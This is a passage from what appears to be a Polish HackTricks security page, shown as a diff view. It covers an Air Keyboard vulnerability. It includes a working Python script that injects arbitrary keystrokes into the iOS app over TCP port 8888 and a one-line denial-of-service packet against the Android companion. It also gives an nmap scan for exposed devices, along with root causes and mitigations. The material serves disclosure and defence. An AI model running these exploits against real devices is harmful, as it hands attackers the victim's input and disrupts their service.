||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
Każdy drukowalny ASCII (w tym `\n`, `\r`, klawisze specjalne itp.) może być wysyłany, co skutkuje przyznaniem atakującemu tej samej mocy co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp.
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą **hard-coded AES-128-ECB key**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Przyczyna
|
||||
|
||||
1. **Brak kontroli pochodzenia / integralności** przychodzących ramek (iOS).
|
||||
2. **Niewłaściwe użycie kryptografii** (statyczny klucz, ECB, brak walidacji długości) oraz **brak obsługi wyjątków** (Android).
|
||||
|
||||
## 6. Środki zaradcze i pomysły na wzmocnienie
|
||||
|
||||
* Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym.
|
||||
* Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych.
|
||||
* Powiąż nasłuchiwacz z `127.0.0.1` i użyj wzajemnie uwierzytelnionego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania.
|
||||
* Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||||
* Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi.
|
||||
|
||||
## Arkusz oszustw wykrywania (Pentesterzy)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [Luka w zdalnym wstrzykiwaniu wejścia w aplikacji Air Keyboard na iOS wciąż niezałatana](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Zalecenie CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user